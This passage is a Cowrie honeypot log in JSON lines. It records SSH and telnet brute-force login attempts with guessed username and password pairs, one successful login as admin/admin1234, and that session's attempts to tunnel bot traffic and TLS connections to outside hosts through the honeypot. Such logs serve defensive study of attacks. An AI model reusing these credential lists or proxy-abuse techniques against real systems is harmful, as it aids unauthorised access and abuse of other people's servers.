x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03]\\x1c\\xe6\\xbe\\x18\\xb6\\xa8\\xcc\\xa1M]I\\xeev\\xdd\\x9d\\xcc\\x0e\\x1cW\\xbc\\xe2\\xb9\\xd0F(<\\xf3\\xc94\\xf5K *0>\\xf7\\'gL\\xd9\\xa7\\xd6\\xfb\\xf0\\xa4\\x0b\\xa9Y\\xca bo\"\\xd2\\xcb\\x11rD\\'\".Zz\\xbd\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 F\\xf4\\xf5v\\r\\xab_\\xd4\\xcc\\x18~\\xb6\\xc1A\\xed \\xf4\\x16j\\xb8\\xadu\\xda\\x18\\x16\\x90x\\xa9>\\x8ei&\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:53.375904Z","src_ip":"23.148.145.132","session":"8bfafcd0dea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daemon","password":"daemon1","message":"login attempt [daemon/daemon1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:56.106205Z","src_ip":"91.92.40.36","session":"620ad4f869f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:57.982513Z","src_ip":"91.92.40.36","session":"620ad4f869f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22268,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0ea596cde6b","protocol":"ssh","message":"New connection: 91.92.40.36:22268 (159.203.135.109:22) [session: e0ea596cde6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:58.034719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:58.756209Z","src_ip":"91.92.40.36","session":"e0ea596cde6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:06:58.759800Z","src_ip":"91.92.40.36","session":"e0ea596cde6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":48268,"dst_ip":"159.203.135.109","dst_port":22,"session":"098323389307","protocol":"ssh","message":"New connection: 41.90.100.147:48268 (159.203.135.109:22) [session: 098323389307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:00.123466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:00.129005Z","src_ip":"41.90.100.147","session":"098323389307","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:00.345752Z","src_ip":"41.90.100.147","session":"098323389307","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tan","password":"tan","message":"login attempt [tan/tan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:01.256325Z","src_ip":"41.90.100.147","session":"098323389307","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"haddock","password":"haddock123!","message":"login attempt [haddock/haddock123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:01.891064Z","src_ip":"91.92.40.36","session":"e0ea596cde6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:02.476434Z","src_ip":"41.90.100.147","session":"098323389307","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:03.901114Z","src_ip":"91.92.40.36","session":"e0ea596cde6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22298,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6298cbf3e08","protocol":"ssh","message":"New connection: 91.92.40.36:22298 (159.203.135.109:22) [session: c6298cbf3e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:04.274389Z"}
{"eventid":"cowrie.session.closed","duration":"23.5","message":"Connection lost after 23.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:05.130145Z","src_ip":"23.148.145.132","session":"8bfafcd0dea4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:05.427863Z","src_ip":"91.92.40.36","session":"c6298cbf3e08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:05.430795Z","src_ip":"91.92.40.36","session":"c6298cbf3e08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":60825,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e8dffde30e1","protocol":"ssh","message":"New connection: 63.141.242.2:60825 (10.17.0.5:22) [session: 8e8dffde30e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:09.366934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:09.370947Z","src_ip":"63.141.242.2","session":"8e8dffde30e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:09.429368Z","src_ip":"63.141.242.2","session":"8e8dffde30e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34828,"dst_ip":"159.203.135.109","dst_port":23,"session":"da8b2b75c989","protocol":"telnet","message":"New connection: 128.199.8.54:34828 (159.203.135.109:23) [session: da8b2b75c989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:09.440078Z"}
{"eventid":"cowrie.login.failed","username":"images","password":"images","message":"login attempt [images/images] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:10.558782Z","src_ip":"91.92.40.36","session":"c6298cbf3e08","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:11.123389Z","src_ip":"63.141.242.2","session":"8e8dffde30e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:12.038504Z","src_ip":"91.92.40.36","session":"c6298cbf3e08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27728,"dst_ip":"159.203.135.109","dst_port":22,"session":"956f5b203433","protocol":"ssh","message":"New connection: 91.92.40.36:27728 (159.203.135.109:22) [session: 956f5b203433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:12.248617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:13.445057Z","src_ip":"91.92.40.36","session":"956f5b203433","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:13.447869Z","src_ip":"91.92.40.36","session":"956f5b203433","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:13.879405Z","session":"8e8dffde30e1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:13.920359Z","src_ip":"63.141.242.2","session":"8e8dffde30e1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1312\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VGIxPlViOFBRVSNwUSopdg%3D%3DUz2JbKX%2FBlnr8KS1vNuyyUPkUbttDSvW6Mt8DQ7ygfdauWPo9hZZ5wHya3x5dhWxLkPC2%2FdRQAwOAzJF4jjAq%2FA%2BpSdx7CDnGcjqQnLBVQ1IcfzWBs3%2FBR4LInLUaMyixDQmAXa3NFy7qEeoGEu4HdWi651yqqZ%2Fr7ntay3DmwBlDjD%2BupkOabufLG0iTxIVqbvZqH7LvRsn86dowmKK1BAMGLcR%2BUf9qnEM71niqxQct%2FxjhGTT0%2F4x%2FxCz1CqDdwcfhLW2qvyjH%2BY7ufJfemLVTDZSNXTrA5tuyIFVSMoQKw%2FQOX8VRhSczmka16TqnPIQ7VEgyL75C5i2a4XsOAzmwGz74jUXv2WGsBqtjYuGTgCfSoaCCNMDN8Cu5Siz17Ifbg6FHbBGeCY84bGkKDy2I%2BZMb3eA4fiRFlvE4gOksDZd%2FsyS3VIiWdLbShtl8ql4Wvu5KlONMgIByPsDMF9qdyKi1B3SCLzJqBKKRlEieJKQQNQiFgShQDP%2FobqSuVsOblAYWR5gHP%2BtfPFhFexFg8C5crDWVIBwYgWTrgl4Z3e%2F72ToVe7tv1UOOyapDEzvMDAxFIo%2BXkO3AEnXop1qTUa3yCPjqir2ssAI1mJ%2FwL8eHEuCKfxg%2F7%2FBfEp%2FEfBtAXoDB57YBN7UX2UAnotTU8OYdicHesn7RvKASsUk%2BIoEnn%2Bvl%2BxsLgJ5tfqCDcIq4aJutzzDWJiGFWqy6%2BEvCASqTANtxKaAt%2Fmkg4kl%2FxY3fnYISYcU2RjPQXL0cdpE5dy8RgCIS9Bo%2B39U%2FX8ak%2BNBOXICAYzKNAQnsGnIF24iBTFB7NbIA5W2SA%2Fw%2FUtuTobYvR7bA39fsS2RnnqvL%2BQMuoyoG%2FnKoBDg4mYXmSyEl27nZyzdZ9M0F2HWWahZj5BlD6fCtZ1npAFLxpjq%2F3EdWhXPwCu2mV8PEqdah0F1Wol0vVWp7zFdnG2RGWR3jzE7qYW3k7LqOhm1i6sREt6W53XMriC0G4qnsXpWOf9R1zhP06%2BnNv5YzPcwX%2BOM6SFH9BDdDEAfX7Kq12KwvWdzxmOq%2B5PTibdLYZcBA4tk70tKq4JWllN2O9IUHp95a9aOd7hKMMZS6GGx%2BuDWOpL%2FHFafEhBiAZN7dIiFYGRy2Lut9GCwdFymGtzczK30IYWh1BSEkuNS09gpXw5HN5wWktFBUYsD8fqzTFA%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1312\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=VGIxPlViOFBRVSNwUSopdg%3D%3DUz2JbKX%2FBlnr8KS1vNuyyUPkUbttDSvW6Mt8DQ7ygfdauWPo9hZZ5wHya3x5dhWxLkPC2%2FdRQAwOAzJF4jjAq%2FA%2BpSdx7CDnGcjqQnLBVQ1IcfzWBs3%2FBR4LInLUaMyixDQmAXa3NFy7qEeoGEu4HdWi651yqqZ%2Fr7ntay3DmwBlDjD%2BupkOabufLG0iTxIVqbvZqH7LvRsn86dowmKK1BAMGLcR%2BUf9qnEM71niqxQct%2FxjhGTT0%2F4x%2FxCz1CqDdwcfhLW2qvyjH%2BY7ufJfemLVTDZSNXTrA5tuyIFVSMoQKw%2FQOX8VRhSczmka16TqnPIQ7VEgyL75C5i2a4XsOAzmwGz74jUXv2WGsBqtjYuGTgCfSoaCCNMDN8Cu5Siz17Ifbg6FHbBGeCY84bGkKDy2I%2BZMb3eA4fiRFlvE4gOksDZd%2FsyS3VIiWdLbShtl8ql4Wvu5KlONMgIByPsDMF9qdyKi1B3SCLzJqBKKRlEieJKQQNQiFgShQDP%2FobqSuVsOblAYWR5gHP%2BtfPFhFexFg8C5crDWVIBwYgWTrgl4Z3e%2F72ToVe7tv1UOOyapDEzvMDAxFIo%2BXkO3AEnXop1qTUa3yCPjqir2ssAI1mJ%2FwL8eHEuCKfxg%2F7%2FBfEp%2FEfBtAXoDB57YBN7UX2UAnotTU8OYdicHesn7RvKASsUk%2BIoEnn%2Bvl%2BxsLgJ5tfqCDcIq4aJutzzDWJiGFWqy6%2BEvCASqTANtxKaAt%2Fmkg4kl%2FxY3fnYISYcU2RjPQXL0cdpE5dy8RgCIS9Bo%2B39U%2FX8ak%2BNBOXICAYzKNAQnsGnIF24iBTFB7NbIA5W2SA%2Fw%2FUtuTobYvR7bA39fsS2RnnqvL%2BQMuoyoG%2FnKoBDg4mYXmSyEl27nZyzdZ9M0F2HWWahZj5BlD6fCtZ1npAFLxpjq%2F3EdWhXPwCu2mV8PEqdah0F1Wol0vVWp7zFdnG2RGWR3jzE7qYW3k7LqOhm1i6sREt6W53XMriC0G4qnsXpWOf9R1zhP06%2BnNv5YzPcwX%2BOM6SFH9BDdDEAfX7Kq12KwvWdzxmOq%2B5PTibdLYZcBA4tk70tKq4JWllN2O9IUHp95a9aOd7hKMMZS6GGx%2BuDWOpL%2FHFafEhBiAZN7dIiFYGRy2Lut9GCwdFymGtzczK30IYWh1BSEkuNS09gpXw5HN5wWktFBUYsD8fqzTFA%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:13.924250Z","src_ip":"63.141.242.2","session":"8e8dffde30e1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"158.69.55.152","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 158.69.55.152:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:07:13.931054Z","session":"8e8dffde30e1","protocol":"ssh"}
